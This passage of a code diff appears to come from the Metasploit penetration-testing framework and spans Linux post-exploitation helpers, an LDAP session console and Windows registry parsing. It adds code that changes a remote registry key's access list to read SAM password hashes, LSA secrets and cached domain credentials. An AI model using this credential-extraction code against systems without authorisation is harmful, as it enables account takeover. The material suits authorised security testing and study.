unless ports.include?(connection_port)
|
||||
ports.insert(-1, connection_port)
|
||||
end
|
||||
end
|
||||
ports
|
||||
end
|
||||
|
||||
# Parsing information based on: https://github.com/sensu-plugins/sensu-plugins-network-checks/blob/master/bin/check-netstat-tcp.rb
|
||||
#
|
||||
# Gets all the listening udp ports in the device
|
||||
# @return [Array]
|
||||
#
|
||||
def listen_udp_ports
|
||||
ports = []
|
||||
content = read_file('/proc/net/udp')
|
||||
content.each_line do |line|
|
||||
next unless (m = line.match(/^\s*\d+:\s+(.{8}|.{32}):(.{4})\s+(.{8}|.{32}):(.{4})\s+(.{2})/))
|
||||
|
||||
connection_state = m[5].to_s
|
||||
next unless connection_state == '07'
|
||||
|
||||
connection_port = m[2].to_i(16)
|
||||
if ports.include?(connection_port) == false
|
||||
ports.insert(-1, connection_port)
|
||||
end
|
||||
end
|
||||
return ports
|
||||
end
|
||||
|
||||
#
|
||||
# Determine if system is a container
|
||||
# @return [String]
|
||||
#
|
||||
def get_container_type
|
||||
# Checking file paths for solution
|
||||
container_type =
|
||||
if file?('/.dockerenv') || file?('/.dockerinit')
|
||||
'Docker'
|
||||
elsif file?('/run/.containerenv')
|
||||
'Podman'
|
||||
elsif directory?('/dev/lxc')
|
||||
'LXC'
|
||||
elsif file?('/proc/sys/kernel/osrelease') && read_file('/proc/sys/kernel/osrelease').grep(/WSL|Microsoft/i).any?
|
||||
# Check for WSL, as suggested in https://github.com/Microsoft/WSL/issues/423#issuecomment-221627364
|
||||
'WSL'
|
||||
elsif (cgroup = read_file('/proc/1/cgroup'))
|
||||
# Check cgroup on PID 1
|
||||
case cgroup.tr("\n", ' ')
|
||||
when /docker/i
|
||||
return 'Docker'
|
||||
when /lxc/i
|
||||
return 'LXC'
|
||||
end
|
||||
else
|
||||
# Check for the "container" environment variable
|
||||
case get_env('container')
|
||||
when 'lxc'
|
||||
return 'LXC'
|
||||
when 'systemd-nspawn'
|
||||
return 'systemd nspawn'
|
||||
when 'podman'
|
||||
return 'Podman'
|
||||
else
|
||||
'Unknown'
|
||||
end
|
||||
end
|
||||
unless container_type == 'Unknown'
|
||||
report_host({
|
||||
host: rhost,
|
||||
virtual_host: container_type
|
||||
})
|
||||
end
|
||||
container_type
|
||||
end
|
||||
# System
|
||||
end
|
||||
# Linux
|
||||
end
|
||||
# Post
|
||||
end
|
||||
# Msf
|
||||
end
|
||||
|
||||
@@ -101,6 +101,7 @@ module Msf
|
||||
all_information = preamble
|
||||
all_information << datastore(framework, driver)
|
||||
all_information << database_configuration(framework)
|
||||
all_information << framework_config(framework)
|
||||
all_information << history(driver)
|
||||
all_information << errors
|
||||
all_information << logs
|
||||
@@ -201,6 +202,23 @@ module Msf
|
||||
)
|
||||
end
|
||||
|
||||
def self.framework_config(framework)
|
||||
required_features = framework.features.all.map { |feature| [feature[:name], feature[:enabled].to_s] }
|
||||
markdown_formatted_features = required_features.map { |feature| "| #{feature.join(' | ')} |" }
|
||||
required_fields = %w[name enabled]
|
||||
|
||||
table = "| #{required_fields.join(' | ')} |\n"
|
||||
table += '|' + '-:|' * required_fields.count + "\n"
|
||||
table += markdown_formatted_features.join("\n").to_s
|
||||
|
||||
# The markdown table can't be placed in a code block or it will not render as a table.
|
||||
build_section_no_block(
|
||||
'Framework Configuration',
|
||||
'The features are configured as follows:',
|
||||
table
|
||||
)
|
||||
end
|
||||
|
||||
def self.history(driver)
|
||||
end_pos = Readline::HISTORY.length - 1
|
||||
start_pos = end_pos - COMMAND_HISTORY_TOTAL > driver.hist_last_saved ? end_pos - (COMMAND_HISTORY_TOTAL - 1) : driver.hist_last_saved
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
module Msf::Util::WindowsRegistry
|
||||
|
||||
def self.parse(hive_data, name: nil)
|
||||
RegistryParser.new(hive_data, name: name)
|
||||
def self.parse(hive_data, name: nil, root: nil)
|
||||
RegistryParser.new(hive_data, name: name, root: root)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -198,11 +198,14 @@ module WindowsRegistry
|
||||
|
||||
# @param hive_data [String] The binary registry data
|
||||
# @param name [Symbol] The key name to add specific helpers. Only `:sam`
|
||||
# @param root [String] The root key and subkey corresponding to the hive_data
|
||||
# and `:security` are supported at the moment.
|
||||
def initialize(hive_data, name: nil)
|
||||
def initialize(hive_data, name: nil, root: nil)
|
||||
@hive_data = hive_data.b
|
||||
@regf = RegRegf.read(@hive_data)
|
||||
@root_key = find_root_key
|
||||
@root_key_block = find_root_key
|
||||
@root = root
|
||||
@root << '\\' unless root.end_with?('\\')
|
||||
case name
|
||||
when :sam
|
||||
require_relative 'sam'
|
||||
@@ -210,6 +213,8 @@ module WindowsRegistry
|
||||
when :security
|
||||
require_relative 'security'
|
||||
extend Security
|
||||
else
|
||||
wlog("[Msf::Util::WindowsRegistry::RegistryParser] Unknown :name argument: #{name}") unless name.blank?
|
||||
end
|
||||
end
|
||||
|
||||
@@ -224,10 +229,10 @@ module WindowsRegistry
|
||||
@hive_data.unpack('a4096' * (@hive_data.size / 4096)).each do |data|
|
||||
next unless data[0,4] == 'hbin'
|
||||
reg_hbin = RegHbin.read(data)
|
||||
root_key = reg_hbin.reg_hbin_blocks.find do |block|
|
||||
root_key_block = reg_hbin.reg_hbin_blocks.find do |block|
|
||||
block.data.respond_to?(:magic) && block.data.magic == NK_MAGIC && block.data.nk_type == ROOT_KEY
|
||||
end
|
||||
return root_key if root_key
|
||||
return root_key_block if root_key_block
|
||||
rescue IOError
|
||||
raise StandardError, 'Cannot parse the RegHbin structure'
|
||||
end
|
||||
@@ -265,7 +270,7 @@ module WindowsRegistry
|
||||
# only asking for the root node
|
||||
key = key[1..-1] if key[0] == '\\' && key.size > 1
|
||||
|
||||
parent_key = @root_key
|
||||
parent_key = @root_key_block
|
||||
if key.size > 0 && key[0] != '\\'
|
||||
key.split('\\').each do |sub_key|
|
||||
res = find_sub_key(parent_key, sub_key)
|
||||
@@ -450,11 +455,11 @@ module WindowsRegistry
|
||||
res = []
|
||||
value_list = get_value_blocks(key_obj.data.offset_value_list, key_obj.data.num_values + 1)
|
||||
value_list.each do |value|
|
||||
# TODO: use #to_s to make sure value.data.name is a String
|
||||
res << (value.data.flag > 0 ? value.data.name : nil)
|
||||
end
|
||||
res
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -0,0 +1,167 @@
|
||||
module Msf
|
||||
module Util
|
||||
module WindowsRegistry
|
||||
|
||||
class RemoteRegistry
|
||||
# Constants
|
||||
ROOT_KEY = 0x2c
|
||||
REG_NONE = 0x00
|
||||
REG_SZ = 0x01
|
||||
REG_EXPAND_SZ = 0x02
|
||||
REG_BINARY = 0x03
|
||||
REG_DWORD = 0x04
|
||||
REG_MULTISZ = 0x07
|
||||
REG_QWORD = 0x0b
|
||||
|
||||
def initialize(winreg, name: nil, inline: false)
|
||||
@winreg = winreg
|
||||
@inline = inline
|
||||
case name
|
||||
when :sam
|
||||
require_relative 'sam'
|
||||
extend Sam
|
||||
when :security
|
||||
require_relative 'security'
|
||||
extend Security
|
||||
else
|
||||
wlog("[Msf::Util::WindowsRegistry::RemoteRegistry] Unknown :name argument: #{name}") unless name.blank?
|
||||
end
|
||||
end
|
||||
|
||||
def create_ace(sid)
|
||||
access_mask = RubySMB::Dcerpc::Winreg::Regsam.new({
|
||||
write_dac: 1,
|
||||
read_control: 1,
|
||||
key_enumerate_sub_keys: 1,
|
||||
key_query_value: 1
|
||||
})
|
||||
Rex::Proto::MsDtyp::MsDtypAce.new({
|
||||
header: {
|
||||
ace_type: Rex::Proto::MsDtyp::MsDtypAceType::ACCESS_ALLOWED_ACE_TYPE,
|
||||
ace_flags: { container_inherit_ace: 1 }
|
||||
},
|
||||
body: {
|
||||
access_mask: Rex::Proto::MsDtyp::MsDtypAccessMask.read(access_mask.to_binary_s),
|
||||
sid: sid
|
||||
}
|
||||
})
|
||||
end
|
||||
|
||||
def backup_file_path
|
||||
return @backup_file_path if @backup_file_path
|
||||
|
||||
if ! File.directory?(Msf::Config.local_directory)
|
||||
FileUtils.mkdir_p(Msf::Config.local_directory)
|
||||
end
|
||||
remote_host = @winreg.tree.client.dns_host_name
|
||||
remote_host = @winreg.tree.client.dispatcher.tcp_socket.peerhost if remote_host.blank?
|
||||
path = File.join(Msf::Config.local_directory, "remote_registry_sd_backup_#{remote_host}_#{Time.now.strftime("%Y%m%d%H%M%S")}.#{Rex::Text.rand_text_alpha(6)}.yml")
|
||||
@backup_file_path = File.expand_path(path)
|
||||
end
|
||||
|
||||
def save_to_file(key, security_descriptor, security_information, path = backup_file_path)
|
||||
sd_info = {
|
||||
'key' => key,
|
||||
'security_info' => security_information,
|
||||
'sd' => security_descriptor.b.bytes.map { |c| '%02x' % c.ord }.join
|
||||
}
|
||||
File.open(path, 'w') do |fd|
|
||||
fd.write(sd_info.to_yaml)
|
||||
end
|
||||
end
|
||||
|
||||
def read_from_file(filepath)
|
||||
sd_info = YAML.safe_load_file(filepath)
|
||||
sd_info['security_info'] = sd_info['security_info'].to_i
|
||||
sd_info
|
||||
end
|
||||
|
||||
def delete_backup_file(path = backup_file_path)
|
||||
File.delete(path) if File.file?(path)
|
||||
end
|
||||
|
||||
def change_dacl(key, sid)
|
||||
security_information =
|
||||
RubySMB::Field::SecurityDescriptor::OWNER_SECURITY_INFORMATION |
|
||||
RubySMB::Field::SecurityDescriptor::GROUP_SECURITY_INFORMATION |
|
||||
RubySMB::Field::SecurityDescriptor::DACL_SECURITY_INFORMATION
|
||||
|
||||
security_descriptor = @winreg.get_key_security_descriptor(key, security_information, bind: false)
|
||||
dlog("[Msf::Util::WindowsRegistry::RemoteRegistry] Security descriptor for #{key}: #{security_descriptor.b.bytes.map { |c| '%02x' % c.ord }.join}")
|
||||
save_to_file(key, security_descriptor, RubySMB::Field::SecurityDescriptor::DACL_SECURITY_INFORMATION)
|
||||
|
||||
parsed_sd = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.read(security_descriptor)
|
||||
ace = create_ace(sid)
|
||||
parsed_sd.dacl.aces << ace
|
||||
parsed_sd.dacl.acl_count += 1
|
||||
parsed_sd.dacl.acl_size += ace.num_bytes
|
||||
dlog("[Msf::Util::WindowsRegistry::RemoteRegistry] New security descriptor for #{key}: #{parsed_sd.to_binary_s.b.bytes.map { |c| '%02x' % c.ord }.join}")
|
||||
|
||||
@winreg.set_key_security_descriptor(key, parsed_sd.to_binary_s, RubySMB::Field::SecurityDescriptor::DACL_SECURITY_INFORMATION, bind: false)
|
||||
|
||||
security_descriptor
|
||||
rescue RubySMB::Dcerpc::Error::WinregError => e
|
||||
elog("[Msf::Util::WindowsRegistry::RemoteRegistry] Error while changing DACL on key `#{key}`: #{e}")
|
||||
end
|
||||
|
||||
def restore_dacl(key, security_descriptor)
|
||||
begin
|
||||
dlog("[Msf::Util::WindowsRegistry::RemoteRegistry] Restoring DACL on key `#{key}`")
|
||||
@winreg.set_key_security_descriptor(key, security_descriptor, RubySMB::Field::SecurityDescriptor::DACL_SECURITY_INFORMATION, bind: false)
|
||||
rescue StandardError => e
|
||||
elog(
|
||||
"[Msf::Util::WindowsRegistry::RemoteRegistry] Error while restoring DACL on key `#{key}`: #{e}\n"\
|
||||
"The original security descriptor has been saved in `#{backup_file_path}`. "\
|
||||
"The auxiliary module `admin/registry_security_descriptor` can be used to "\
|
||||
"restore the security descriptor from this file."
|
||||
)
|
||||
# Reset the `backup_file_path` instance variable to make sure a new
|
||||
# backup filename will be generated. This way, this backup file won't
|
||||
# be deleted the next time `#restore_dacl` is called.
|
||||
@backup_file_path = nil
|
||||
return
|
||||
end
|
||||
delete_backup_file
|
||||
end
|
||||
|
||||
def enum_values(key)
|
||||
sd_backup = change_dacl(key, Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_SID_ADMINS) if @inline
|
||||
@winreg.enum_registry_values(key, bind: false).map do |value|
|
||||
value.to_s.encode(::Encoding::ASCII_8BIT)
|
||||
end
|
||||
ensure
|
||||
restore_dacl(key, sd_backup) if @inline && sd_backup
|
||||
end
|
||||
|
||||
def enum_key(key)
|
||||
sd_backup = change_dacl(key, Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_SID_ADMINS) if @inline
|
||||
@winreg.enum_registry_key(key, bind: false).map do |key|
|
||||
key.to_s.encode(::Encoding::ASCII_8BIT)
|
||||
end
|
||||
ensure
|
||||
restore_dacl(key, sd_backup) if @inline && sd_backup
|
||||
end
|
||||
|
||||
def get_value(key, value_name = nil)
|
||||
sd_backup = change_dacl(key, Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_SID_ADMINS) if @inline
|
||||
root_key, sub_key = key.gsub(/\//, '\\').split('\\', 2)
|
||||
root_key_handle = @winreg.open_root_key(root_key)
|
||||
subkey_handle = @winreg.open_key(root_key_handle, sub_key)
|
||||
begin
|
||||
reg_value = @winreg.query_value(subkey_handle, value_name.nil? ? '' : value_name)
|
||||
[reg_value.type.to_i, reg_value.data.to_s.b]
|
||||
rescue RubySMB::Dcerpc::Error::WinregError
|
||||
nil
|
||||
end
|
||||
ensure
|
||||
@winreg.close_key(subkey_handle) if subkey_handle
|
||||
@winreg.close_key(root_key_handle) if root_key_handle
|
||||
restore_dacl(key, sd_backup) if @inline && sd_backup
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -7,6 +7,10 @@ module WindowsRegistry
|
||||
#
|
||||
module Sam
|
||||
|
||||
def normalize_key(key)
|
||||
@root.blank? ? key : key.delete_prefix(@root)
|
||||
end
|
||||
|
||||
# Returns the HashedBootKey from a given BootKey.
|
||||
#
|
||||
# @param boot_key [String] The BootKey
|
||||
@@ -16,7 +20,7 @@ module WindowsRegistry
|
||||
qwerty = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"
|
||||
digits = "0123456789012345678901234567890123456789\0"
|
||||
|
||||
_value_type, value_data = get_value('SAM\\Domains\\Account', 'F')
|
||||
_value_type, value_data = get_value(normalize_key('HKLM\\SAM\\SAM\\Domains\\Account'), 'F')
|
||||
revision = value_data[0x68, 4].unpack('V')[0]
|
||||
case revision
|
||||
when 1
|
||||
@@ -49,15 +53,20 @@ module WindowsRegistry
|
||||
# <User RID>: { V: <V value>, Name: <User name> },
|
||||
# ...
|
||||
# }
|
||||
def get_user_keys
|
||||
def get_user_keys(&block)
|
||||
users = {}
|
||||
users_key = 'SAM\\Domains\\Account\\Users'
|
||||
users_key = normalize_key('HKLM\\SAM\\SAM\\Domains\\Account\\Users')
|
||||
rids = enum_key(users_key)
|
||||
if rids
|
||||
rids.delete('Names')
|
||||
|
||||
rids.each do |rid|
|
||||
_value_type, value_data = get_value("#{users_key}\\#{rid}", 'V')
|
||||
rid = rid.to_s
|
||||
rid.encode!(::Encoding::UTF_8) unless rid.encoding == ::Encoding::UTF_8
|
||||
key = "#{users_key}\\#{rid}"
|
||||
yield key if block
|
||||
_value_type, value_data = get_value(key, 'V')
|
||||
next unless value_data
|
||||
users[rid.to_i(16)] ||= {}
|
||||
users[rid.to_i(16)][:V] = value_data
|
||||
|
||||
@@ -75,7 +84,11 @@ module WindowsRegistry
|
||||
names = enum_key("#{users_key}\\Names")
|
||||
if names
|
||||
names.each do |name|
|
||||
value_type, _value_data = get_value("#{users_key}\\Names\\#{name}", '')
|
||||
name = name.to_s
|
||||
name.encode!(::Encoding::UTF_8) unless name.encoding == ::Encoding::UTF_8
|
||||
key = "#{users_key}\\Names\\#{name}"
|
||||
yield key if block
|
||||
value_type, _value_data = get_value(key, '')
|
||||
users[value_type] ||= {}
|
||||
# Apparently, key names are ISO-8859-1 encoded
|
||||
users[value_type][:Name] = name.dup.force_encoding(::Encoding::ISO_8859_1).encode(::Encoding::UTF_8)
|
||||
|
||||
@@ -79,6 +79,10 @@ module WindowsRegistry
|
||||
|
||||
attr_accessor :lsa_vista_style
|
||||
|
||||
def normalize_key(key)
|
||||
@root.blank? ? key : key.delete_prefix(@root)
|
||||
end
|
||||
|
||||
# Retrieve the decrypted LSA secret key from a given BootKey. This also sets
|
||||
# the @lsa_vista_style attributes according to the registry keys found
|
||||
# under `HKLM\SECURITY\Policy`. If set to `true`, the system version is
|
||||
@@ -88,7 +92,7 @@ module WindowsRegistry
|
||||
# @return [String] The decrypted LSA secret key
|
||||
def lsa_secret_key(boot_key)
|
||||
# vprint_status('Getting PolEKList...')
|
||||
_value_type, value_data = get_value('\\Policy\\PolEKList')
|
||||
_value_type, value_data = get_value(normalize_key('HKLM\\SECURITY\\Policy\\PolEKList'))
|
||||
if value_data
|
||||
# Vista or above system
|
||||
@lsa_vista_style = true
|
||||
@@ -97,7 +101,7 @@ module WindowsRegistry
|
||||
lsa_key = lsa_key[68, 32] unless lsa_key.empty?
|
||||
else
|
||||
# vprint_status('Getting PolSecretEncryptionKey...')
|
||||
_value_type, value_data = get_value('\\Policy\\PolSecretEncryptionKey')
|
||||
_value_type, value_data = get_value(normalize_key('HKLM\\SECURITY\\Policy\\PolSecretEncryptionKey'))
|
||||
# If that didn't work, then we're out of luck
|
||||
return nil if value_data.nil?
|
||||
|
||||
@@ -128,14 +132,13 @@ module WindowsRegistry
|
||||
# @param lsa_key [String] The LSA secret key
|
||||
# @return [Hash] A hash containing the LSA secrets.
|
||||
def lsa_secrets(lsa_key)
|
||||
keys = enum_key('\\Policy\\Secrets')
|
||||
keys = enum_key(normalize_key('HKLM\\SECURITY\\Policy\\Secrets'))
|
||||
return unless keys
|
||||
|
||||
keys.delete('NL$Control')
|
||||
|
||||
keys.each_with_object({}) do |key, lsa_secrets|
|
||||
# vprint_status("Looking into #{key}")
|
||||
_value_type, value_data = get_value("\\Policy\\Secrets\\#{key}\\CurrVal")
|
||||
_value_type, value_data = get_value(normalize_key("HKLM\\SECURITY\\Policy\\Secrets\\#{key}\\CurrVal"))
|
||||
encrypted_secret = value_data
|
||||
next unless encrypted_secret
|
||||
|
||||
@@ -158,7 +161,7 @@ module WindowsRegistry
|
||||
# @param lsa_key [String] The LSA secret key
|
||||
# @return [String] The NLKM secret key
|
||||
def nlkm_secret_key(lsa_key)
|
||||
_value_type, value_data = get_value('\\Policy\\Secrets\\NL$KM\\CurrVal')
|
||||
_value_type, value_data = get_value(normalize_key('HKLM\\SECURITY\\Policy\\Secrets\\NL$KM\\CurrVal'))
|
||||
return nil unless value_data
|
||||
|
||||
if @lsa_vista_style
|
||||
@@ -188,7 +191,7 @@ module WindowsRegistry
|
||||
# @param nlkm_key [String] The NLKM secret key
|
||||
# @return [Array] An array of CacheInfo structures containing the Cache information
|
||||
def cached_infos(nlkm_key)
|
||||
values = enum_values('\\Cache')
|
||||
values = enum_values(normalize_key('HKLM\\SECURITY\\Cache'))
|
||||
unless values
|
||||
elog('[Msf::Util::WindowsRegistry::Sam::cached_hashes] No cashed entries')
|
||||
return
|
||||
@@ -198,12 +201,12 @@ module WindowsRegistry
|
||||
|
||||
iteration_count = nil
|
||||
if values.delete('NL$IterationCount')
|
||||
_value_type, value_data = reg_parser.get_value('\\Cache', 'NL$IterationCount')
|
||||
_value_type, value_data = reg_parser.get_value(normalize_key('HKLM\\SECURITY\\Cache'), 'NL$IterationCount')
|
||||
iteration_count = value_data.to_i
|
||||
end
|
||||
|
||||
values.map do |value|
|
||||
_value_type, value_data = get_value('\\Cache', value)
|
||||
_value_type, value_data = get_value(normalize_key('HKLM\\SECURITY\\Cache'), value)
|
||||
cache = CacheEntry.read(value_data)
|
||||
|
||||
cache_info = CacheInfo.new(name: value, entry: cache)
|
||||
|
||||
@@ -297,6 +297,7 @@ class MsfAutoload
|
||||
'appapi' => 'AppApi',
|
||||
'uds_errors' => 'UDSErrors',
|
||||
'smb_hash_capture' => 'SMBHashCapture',
|
||||
'rex_ntlm' => 'RexNTLM'
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
+11
-1
@@ -1094,7 +1094,17 @@ module Net # :nodoc:
|
||||
when /^\s*search\s+(.*)/
|
||||
self.searchlist = $1.split(" ")
|
||||
when /^\s*nameserver\s+(.*)/
|
||||
self.nameservers += $1.split(" ")
|
||||
$1.split(/\s+/).each do |nameserver|
|
||||
# per https://man7.org/linux/man-pages/man5/resolv.conf.5.html nameserver values must be IP addresses
|
||||
begin
|
||||
ip_addr = IPAddr.new(nameserver)
|
||||
rescue IPAddr::InvalidAddressError
|
||||
@logger.warn "Ignoring invalid name server '#{nameserver}' from configuration file"
|
||||
next
|
||||
else
|
||||
self.nameservers += [ip_addr]
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
rescue => e
|
||||
|
||||
@@ -213,14 +213,18 @@ class Connection
|
||||
def detect_platform_and_arch
|
||||
result = {}
|
||||
|
||||
query_result = query('select version()').rows.join.match(/on (?<architecture>\w+)-\w+-(?<platform>\w+)/)
|
||||
server_vars = {
|
||||
'version_compile_machine' => query_result[:architecture],
|
||||
'version_compile_os' => query_result[:platform]
|
||||
}
|
||||
query_result = query('select version()').rows[0][0]
|
||||
match_platform_and_arch = query_result.match(/on (?<architecture>\w+)-\w+-(?<platform>\w+)/)
|
||||
|
||||
result[:arch] = map_compile_arch_to_architecture(server_vars['version_compile_machine'])
|
||||
result[:platform] = map_compile_os_to_platform(server_vars['version_compile_os'])
|
||||
if match_platform_and_arch.nil?
|
||||
arch = platform = query_result
|
||||
else
|
||||
arch = match_platform_and_arch[:architecture]
|
||||
platform = match_platform_and_arch[:platform]
|
||||
end
|
||||
|
||||
result[:arch] = map_compile_arch_to_architecture(arch)
|
||||
result[:platform] = map_compile_os_to_platform(platform)
|
||||
|
||||
result
|
||||
end
|
||||
|
||||
@@ -0,0 +1,3 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/post/ldap/ui'
|
||||
@@ -0,0 +1,3 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/post/ldap/ui/console'
|
||||
@@ -0,0 +1,137 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'English'
|
||||
require 'rex/post/session_compatible_modules'
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
module LDAP
|
||||
module Ui
|
||||
###
|
||||
#
|
||||
# This class provides a shell driven interface to the LDAP client API.
|
||||
#
|
||||
###
|
||||
class Console
|
||||
|
||||
include Rex::Ui::Text::DispatcherShell
|
||||
include Rex::Post::SessionCompatibleModules
|
||||
|
||||
# Dispatchers
|
||||
require 'rex/post/ldap/ui/console/command_dispatcher'
|
||||
require 'rex/post/ldap/ui/console/command_dispatcher/core'
|
||||
require 'rex/post/ldap/ui/console/command_dispatcher/client'
|
||||
|
||||
#
|
||||
# Initialize the LDAP console.
|
||||
#
|
||||
# @param [Msf::Sessions::LDAP] session
|
||||
def initialize(session)
|
||||
super('%undLDAP%clr', '>', Msf::Config.ldap_session_history, nil, :ldap)
|
||||
|
||||
# The ldap client context
|
||||
self.session = session
|
||||
self.client = session.client
|
||||
|
||||
# Queued commands array
|
||||
self.commands = []
|
||||
|
||||
# Point the input/output handles elsewhere
|
||||
reset_ui
|
||||
|
||||
enstack_dispatcher(Rex::Post::LDAP::Ui::Console::CommandDispatcher::Client)
|
||||
enstack_dispatcher(Rex::Post::LDAP::Ui::Console::CommandDispatcher::Core)
|
||||
enstack_dispatcher(Msf::Ui::Console::CommandDispatcher::LocalFileSystem)
|
||||
|
||||
# Set up logging to whatever logsink 'core' is using
|
||||
if !$dispatcher['ldap']
|
||||
$dispatcher['ldap'] = $dispatcher['core']
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Called when someone wants to interact with the LDAP client. It's
|
||||
# assumed that init_ui has been called prior.
|
||||
#
|
||||
def interact(&block)
|
||||
# Run queued commands
|
||||
commands.delete_if do |ent|
|
||||
run_single(ent)
|
||||
true
|
||||
end
|
||||
|
||||
# Run the interactive loop
|
||||
run do |line|
|
||||
# Run the command
|
||||
run_single(line)
|
||||
|
||||
# If a block was supplied, call it, otherwise return false
|
||||
if block
|
||||
block.call
|
||||
else
|
||||
false
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Queues a command to be run when the interactive loop is entered.
|
||||
#
|
||||
def queue_cmd(cmd)
|
||||
commands << cmd
|
||||
end
|
||||
|
||||
#
|
||||
# Runs the specified command wrapper in something to catch exceptions.
|
||||
#
|
||||
def run_command(dispatcher, method, arguments)
|
||||
super
|
||||
rescue Timeout::Error
|
||||
log_error('Operation timed out.')
|
||||
rescue Rex::InvalidDestination => e
|
||||
log_error(e.message)
|
||||
rescue ::Errno::EPIPE, ::OpenSSL::SSL::SSLError, ::IOError, Net::LDAP::ResponseMissingOrInvalidError
|
||||
session.kill
|
||||
rescue ::StandardError => e
|
||||
log_error("Error running command #{method}: #{e.class} #{e}")
|
||||
elog(e)
|
||||
end
|
||||
|
||||
# @param [Hash] opts
|
||||
# @return [String]
|
||||
def help_to_s(opts = {})
|
||||
super + format_session_compatible_modules
|
||||
end
|
||||
|
||||
#
|
||||
# Logs that an error occurred and persists the callstack.
|
||||
#
|
||||
def log_error(msg)
|
||||
print_error(msg)
|
||||
|
||||
elog(msg, 'ldap')
|
||||
|
||||
dlog("Call stack:\n#{$ERROR_POSITION.join("\n")}", 'ldap')
|
||||
end
|
||||
|
||||
# @return [Msf::Sessions::LDAP]
|
||||
attr_reader :session
|
||||
|
||||
# @return [Rex::Proto::LDAP::Client]
|
||||
attr_reader :client # :nodoc:
|
||||
|
||||
def format_prompt(val)
|
||||
prompt = session.address.to_s
|
||||
|
||||
substitute_colors("%undLDAP%clr (#{prompt}) > ", true)
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
attr_writer :session, :client # :nodoc: # :nodoc:
|
||||
attr_accessor :commands # :nodoc:
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,105 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'English'
|
||||
require 'rex/ui/text/dispatcher_shell'
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
module LDAP
|
||||
module Ui
|
||||
###
|
||||
#
|
||||
# Base class for all command dispatchers within the LDAP console user
|
||||
# interface.
|
||||
#
|
||||
###
|
||||
module Console::CommandDispatcher
|
||||
include Msf::Ui::Console::CommandDispatcher::Session
|
||||
|
||||
#
|
||||
# Initializes an instance of the core command set using the supplied session and client
|
||||
# for interactivity.
|
||||
#
|
||||
# @param [Rex::Post::LDAP::Ui::Console] console
|
||||
def initialize(console)
|
||||
super
|
||||
@msf_loaded = nil
|
||||
@filtered_commands = []
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the LDAP client context.
|
||||
#
|
||||
# @return [Rex::Proto::LDAP::Client]
|
||||
def client
|
||||
console = shell
|
||||
console.client
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the LDAP session context.
|
||||
#
|
||||
# @return [Msf::Sessions::LDAP]
|
||||
def session
|
||||
console = shell
|
||||
console.session
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the commands that meet the requirements
|
||||
#
|
||||
def filter_commands(all, reqs)
|
||||
all.delete_if do |cmd, _desc|
|
||||
if reqs[cmd]&.any? { |req| !client.commands.include?(req) }
|
||||
@filtered_commands << cmd
|
||||
true
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def unknown_command(cmd, line)
|
||||
if @filtered_commands.include?(cmd)
|
||||
print_error("The \"#{cmd}\" command is not supported by this session type (#{session.session_type})")
|
||||
return :handled
|
||||
end
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
#
|
||||
# Return the subdir of the `documentation/` directory that should be used
|
||||
# to find usage documentation
|
||||
#
|
||||
def docs_dir
|
||||
File.join(super, 'ldap_session')
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if the client has a framework object.
|
||||
#
|
||||
# Used for firing framework session events
|
||||
#
|
||||
def msf_loaded?
|
||||
return @msf_loaded unless @msf_loaded.nil?
|
||||
|
||||
# if we get here we must not have initialized yet
|
||||
|
||||
@msf_loaded = !session.framework.nil?
|
||||
@msf_loaded
|
||||
end
|
||||
|
||||
#
|
||||
# Log that an error occurred.
|
||||
#
|
||||
def log_error(msg)
|
||||
print_error(msg)
|
||||
|
||||
elog(msg, 'ldap')
|
||||
|
||||
dlog("Call stack:\n#{$ERROR_POSITION.join("\n")}", 'ldap')
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,123 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
module LDAP
|
||||
module Ui
|
||||
###
|
||||
#
|
||||
# Core LDAP client commands
|
||||
#
|
||||
###
|
||||
class Console::CommandDispatcher::Client
|
||||
|
||||
include Rex::Post::LDAP::Ui::Console::CommandDispatcher
|
||||
include Msf::Exploit::Remote::LDAP::Queries
|
||||
|
||||
|
||||
OUTPUT_FORMATS = %w[table csv json]
|
||||
VALID_SCOPES = %w[base single whole]
|
||||
|
||||
@@query_opts = Rex::Parser::Arguments.new(
|
||||
%w[-h --help] => [false, 'Help menu' ],
|
||||
%w[-f --filter] => [true, 'Filter string for the query (default: (objectclass=*))'],
|
||||
%w[-a --attributes] => [true, 'Comma separated list of attributes for the query'],
|
||||
%w[-b --base-dn] => [true, 'Base dn for the query'],
|
||||
%w[-s --scope] => [true, 'Scope for the query: `base`, `single`, `whole` (default: whole)'],
|
||||
%w[-o --output-format] => [true, 'Output format: `table`, `csv` or `json` (default: table)']
|
||||
)
|
||||
|
||||
#
|
||||
# List of supported commands.
|
||||
#
|
||||
def commands
|
||||
cmds = {
|
||||
'query' => 'Run an LDAP query'
|
||||
}
|
||||
|
||||
reqs = {}
|
||||
|
